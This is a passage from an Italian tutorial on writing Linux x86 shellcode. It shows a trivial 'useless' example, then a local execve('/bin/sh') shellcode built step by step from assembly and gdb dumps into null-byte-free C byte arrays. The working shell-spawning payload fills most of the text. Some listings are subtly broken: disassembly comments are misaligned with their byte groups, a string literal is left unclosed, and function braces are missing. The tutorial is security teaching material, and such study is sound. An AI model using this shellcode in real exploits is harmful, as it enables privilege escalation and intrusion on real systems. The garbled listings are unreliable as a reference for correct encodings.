  6. "\xfa\x0e\x0f"                                  /* cmp    $0xe,%edx */ 
  7. "\x85\xf6\xff\xff\xff\x89"                      /* jne    0x8048324 */ 
  8. "\xf1\x31"                                      /* mov    %esi,%ecx */ 
  9. "\xdb\x43"                                      /* xor    %ebx,%ebx */ 
  10. "\xb8"                                          /* inc    %ebx */ 
  11. "\xff\xff\xff\xff\x83"                          /* mov    $0xffffffff */ 
  12. "\xe8\xfb\xcd"                                  /* sub    $0xfffffffb,%eax */ 
  13. "\x80\x31"                                      /* int    $0x80 */ 
  14. "\xdb\x31"                                      /* xor    %ebx,%ebx */ 
  15. "\xc0\x40"                                      /* xor    %eax,%eax */ 
  16. "\xcd"                                          /* inc    %eax */ 
  17. "\x80\xe8"                                      /* int    $0x80 */ 
  18. "\xd8\xff\xff\xff"                              /* call   0x8048321 */ 
  19. "\nsono inutile\n"; 
  20.  
  21. main() 
  22.  
  23.          printf ("\nIndirizzo shellcode: %p\n", shellcode); 
  24.  
  25.          __asm__("call 0x8049480"); 
Ok, un po' più lunghetto ma non fa niente.
Sono sicuro che ora vi starete chiedendo: "Mi sa che Roland non si è accorto di aver lasciato dei Null Byte nella funzione jmp"

Beh, in effetti ci sono, ma non perché me li sono dimenticati!
Infatti anche per quella funzione avrei potuto applicare i metodi descritti prima ma ho preferito non farlo per cogliere l'occasione di spiegarvi un altro metodo.

Come ho detto prima "\xe9\x23\x00\x00\x00" non rappresenta "jmp 0x8048344" ma in questo caso dice "salta 35 byte avanti", poiché 0x23 = 35.

Tuttavia quando questa "modifica" dell'indirizzo di memoria in byte da saltare viene fatta da gdb questo alloca comunque un indirizzo a 32 bit che è proprio \x23\x00\x00\x00 corrispondente a 0x00000023.

La nostra astuzia sta nell'allocare semplicemente un indirizzo ad 8 bit, quindi eliminando direttamente i null byte. Ma a questo punto la funzione xe9 non è più corretta con un indirizzo a 8 bit e quindi va sostituita con xeb che è proprio il comando di jmp per un indirizzo appunto ad 8 bit.

Eseguita la modifica otteniamo:

  1. char shellcode[]= 
  2. "\xeb\x23"                              /* jmp    0x23 */ 
  3. "\x5e"                                  /* pop    %esi */ 
  4. "\x31\xd2\x42"                          /* xor    %edx,%edx */ 
  5. "\x83"                                  /* inc    %edx */ 
  6. "\xfa\x0e\x0f"                          /* cmp    $0xe,%edx */ 
  7. "\x85\xf6\xff\xff\xff\x89"              /* jne    0x8048324 */ 
  8. "\xf1\x31"                              /* mov    %esi,%ecx */ 
  9. "\xdb\x43"                              /* xor    %ebx,%ebx */ 
  10. "\xb8"                                  /* inc    %ebx */ 
  11. "\xff\xff\xff\xff\x83"                  /* mov    $0xffffffff */ 
  12. "\xe8\xfb\xcd"                          /* sub    $0xfffffffb,%eax */ 
  13. "\x80\x31"                              /* int    $0x80 */ 
  14. "\xdb\x31"                              /* xor    %ebx,%ebx */ 
  15. "\xc0\x40"                              /* xor    %eax,%eax */ 
  16. "\xcd"                                  /* inc    %eax */ 
  17. "\x80\xe8"                              /* int    $0x80 */ 
  18. "\xd8\xff\xff\xff"                      /* call   0x8048321 */ 
  19. "\nsono inutile\n"; 
  20.  
  21. main() 
  22.          printf ("\nIndirizzo shellcode: %p\n", shellcode); 
  23.  
  24.          __asm__("call 0x8049480"); 
Ed ecco finalmente il lavoro finito!
Uno shellcode funzionante, senza nul byte, che appena avviato ci fa notare la sua inutilità, facendoci rendere conto che siamo dei "volponi" a perdere tutto questo tempo dietro un programma del genere!

Shellcode per exploit locali

Ed ecco ora la parte più interessante: ci accingeremo a "codare" uno ShellC0de vero e proprio, cioè che quando viene lanciato ci apre una bella shell.
Ovviamente anche questo è uno shellcode per exploit locali.
Questa volta però, sia per motivi di tempo che di voglia, non spiegherò passo per passo il procedimento seguito poiché a grandi linee è lo stesso usato per lo ShellC0de "Inutile".

Iniziamo con lo scrivere il codice ASM che ci permette di lanciare "/bin/sh". Per far questo abbiamo bisogno della funzione execve() identificata dalla syscall numero 11, 0xb in esadecimale.

execve() richiede i seguenti argomenti:

  • puntatore a /bin/sh
  • puntatore al puntatore a /bin/sh
  • puntatore a NULL
Poi ovviamente va inserita la solita funzione exit(0) per non incappare in un ciclo infinito.

Per rendere più semplice la comprensione della syscall execve() ho preparato un piccolo schemino che rappresenta lo stato della memoria su cui lavora tale syscall:

/bin/sh#PPPPNNNN

# = byte nullo di fine stringa
P = Puntatore alla stringa
N = Byte Nulli
Quindi il nostro codice deve:
  • terminare /bin/sh con un byte NULLO (#)
  • mettere l'indirizzo di /bin/sh in %ebx
  • mettere l'indirizzo di PPPP, quindi l'indirizzo dove si trova il puntatore a /bin/sh in %ecx
  • mettere l'indirizzo di NNNN in %edx
Come fatto per l'esempio precedente per ricavare l'indirizzo della stringa useremo anche questa volta il trucchetto del jmp e della call.

Detto questo, vediamo cosa viene fuori:

  1. main() 
  2.  
  3.         __asm__(" 
  4.  
  5.         jmp 0x08048348 
  6.  
  7.         pop %esi 
  8.  
  9.         xorl %eax,%eax 
  10.  
  11.         #termino /bin/sh 
  12.         movb %ah,0x7(%esi) 
  13.  
  14.         #muovo il puntatore a /bin/sh subito dopo il null byte 
  15.         movl %esi,0x8(%esi) 
  16.  
  17.         #muovo il NULL byte dopo il puntatore a /bin/sh 
  18.         movl %eax,0xc(%esi) 
  19.  
  20.         #carico l'indirizzo effettivo di PPPP in %ecx 
  21.         leal 0x8(%esi),%ecx 
  22.  
  23.         #carico l'indirizzo effettivo di NNNN in %edx 
  24.         leal 0xc(%esi),%edx 
  25.  
  26.         #carico l'indirizzo di /bin/sh in %ebx 
  27.         movl %esi,%ebx 
  28.  
  29.         movl $0xb,%eax 
  30.         int $0x80 
  31.  
  32.         #exit(0) 
  33.         movl $0x0,%ebx 
  34.         movl $0x1,%eax 
  35.         int $0x80 
  36.  
  37.         call 0x08048321 
  38.         .string \"/bin/sh\" 
  39.  
  40.         "); 
  41.  
I commenti dovrebbero sciogliere ogni dubbio.

Al solito, compiliamo e disassembliamo: dal listato ci si rende conto che il nostro codice va da <main+16> a <main+64>.
Diamo il comando:

(gdb) x/50bx main+16
0x804831c <main+16>:    0xe9    0x27    0x00    0x00    0x00    0x5e    0x31    0xc0
0x8048324 <main+24>:    0x88    0x66    0x07    0x89    0x76    0x08    0x89    0x46
0x804832c <main+32>:    0x0c    0x8d    0x4e    0x08    0x8d    0x56    0x0c    0x89
0x8048334 <main+40>:    0xf3    0xb8    0x0b    0x00    0x00    0x00    0xcd    0x80
0x804833c <main+48>:    0xbb    0x00    0x00    0x00    0x00    0xb8    0x01    0x00
0x8048344 <main+56>:    0x00    0x00    0xcd    0x80    0xe8    0xd4    0xff    0xff
0x804834c <main+64>:    0xff    [qui]
(gdb)
e come prima copiamo il tutto in un secondo file (shell.c), sostituendo ad ogni "0x" uno "\x".

Otteniamo:

  1. char shellcode[]= 
  2. "\xe9\x27\x00\x00\x00\x5e\x31\xc0" 
  3. "\x88\x66\x07\x89\x76\x08\x89\x46" 
  4. "\x0c\x8d\x4e\x08\x8d\x56\x0c\x89" 
  5. "\xf3\xb8\x0b\x00\x00\x00\xcd\x80" 
  6. "\xbb\x00\x00\x00\x00\xb8\x01\x00" 
  7. "\x00\x00\xcd\x80\xe8\xd4\xff\xff" 
  8. "\xff" 
  9. "/bin/sh"; 
  10.  
  11.  
  12. main() 
  13.  
  14.         printf("\nIndirizzo shellcode: %p\n", shellcode); 
  15.  
  16.         __asm__("call 0x8049480"); 
  17.  
Classico Shellcode pieno di Null byte. Ma questa volta siamo preparati e pronti a risolvere il problema.
Utilizzando i metodi prima descritti modifichiamo il codice ASM riottenendone uno adatto al nostro scopo.

Io l'ho modificato in questo modo:

  1. char shellcode[]= 
  2. "\xe9\x00\x00\x00               /* jmp    0x8048340 */ 
  3. "\x5e"                          /* pop    %esi */ 
  4. "\x31\xc0"                      /* xor    %eax,%eax */ 
  5. "\x88\x46\x07"                  /* mov    %al,0x7(%esi) */ 
  6. "\x89\x76\x08"                  /* mov    %esi,0x8(%esi) */ 
  7. "\x89\x46\x0c"                  /* mov    %eax,0xc(%esi) */ 
  8. "\x8d\x4e\x08"                  /* lea    0x8(%esi),%ecx */ 
  9. "\x8d\x56\x0c"                  /* lea    0xc(%esi),%edx */ 
  10. "\x89\xf3"                      /* mov    %esi,%ebx */ 
  11. "\xb0\x0b"                      /* mov    $0xb,%al */ 
  12. "\xcd\x80"                      /* int    $0x80 */ 
  13. "\x31\xdb"                      /* xor    %ebx,%ebx */ 
  14. "\x89\xd8"                      /* mov    %ebx,%eax */ 
  15. "\x40"                          /* inc    %eax */ 
  16. "\xcd\x80"                      /* int    $0x80 */ 
  17. "\xe8\xdc\xff\xff\xff"          /* call   0x8048321 */ 
  18. "/bin/sh"; 
  19.  
  20.  
  21. main() 
  22.  
  23.         printf("\nIndirizzo shellcode: %p\n", shellcode); 
  24.  
  25.         __asm__("call 0x8049480"); 
  26.  
Anche in questo caso il problema del jmp si risolve utilizzando la funzione per indirizzi a 8 bit 0xeb ed eliminando semplicemente i Null Byte.

Otteniamo:

  1. char shellcode[]= 
  2. "\xeb\x1f"                      /* jmp    +0x1f */ 
  3. "\x5e"                          /* pop    %esi */ 
  4. "\x31\xc0"                      /* xor    %eax,%eax */ 
  5. "\x88\x46\x07"                  /* mov    %al,0x7(%esi) */ 
  6. "\x89\x76\x08"                  /* mov    %esi,0x8(%esi) */ 
  7. "\x89\x46\x0c"                  /* mov    %eax,0xc(%esi) */ 
  8. "\x8d\x4e\x08"                  /* lea    0x8(%esi),%ecx */ 
  9. "\x8d\x56\x0c"                  /* lea    0xc(%esi),%edx */ 
  10. "\x89\xf3"                      /* mov    %esi,%ebx */ 
  11. "\xb0\x0b"                      /* mov    $0xb,%al */ 
  12. "\xcd\x80"                      /* int    $0x80 */ 
  13. "\x31\xdb"                      /* xor    %ebx,%ebx */ 
  14. "\x89\xd8"                      /* mov    %ebx,%eax */ 
  15. "\x40"                          /* inc    %eax */ 
  16. "\xcd\x80"                      /* int    $0x80 */ 
  17. "\xe8\xdc\xff\xff\xff"  /* call   0x8048321 */ 
  18. "/bin/sh"; 
  19.  
  20.  
  21. main() 
  22.  
  23.         printf("\nIndirizzo shellcode: %p\n", shellcode); 
  24.  
  25.         __asm__("call 0x8049480"); 
  26.  
Ed anche questo shellcode è completo!

Conclusioni

Il tutorial giunge alla conclusione, spero che sia stato di vostro interesse e soprattutto che vi sia stato utile a qualcosa.
A dire la verità ero partito con l'idea di inserire anche un terzo esempio in cui spiegare come si realizza uno shellcode per exploit remoti, ma alla fine la pigrizia ha vinto sulle mie buone intenzioni!

Conto di scrivere un tutorial dedicato solo a quell'argomento il più presto possibile!

Per info, commenti, chiarimenti etc. scrivetemi pure. (xroland@linux.net)

Informazioni sull'autore

Andrea Fabrizi, http://www.linuxmaniac.net/?page=documenti

È possibile consultare l'elenco degli articoli scritti da Andrea Fabrizi.

Altri articoli sul tema Sicurezza / Exploits.

Risorse

  1. Guida al Buffer Overflow e alla scrittura di Exploit.
    http://xroland.linuxmaniac.net/htm/documenti.php
  2. Guida alla creazione di uno ShellC0de.
    http://xroland.linuxmaniac.net/htm/documenti.php
  3. Buffer overflow: spiegazione tecnica ed esempio pratico
    http://www.siforge.org/articles/2003/04/15-bofexp.html
  4. Scrivere un exploit dimostrativo di esecuzione di codice su Windows.
    http://www.siforge.org/articles/2003/02/23-win-exploit.html
Discuti sul forum   Stampa

Cosa ne pensi di questo articolo?

Discussioni

Questo articolo o l'argomento ti ha interessato? Parliamone.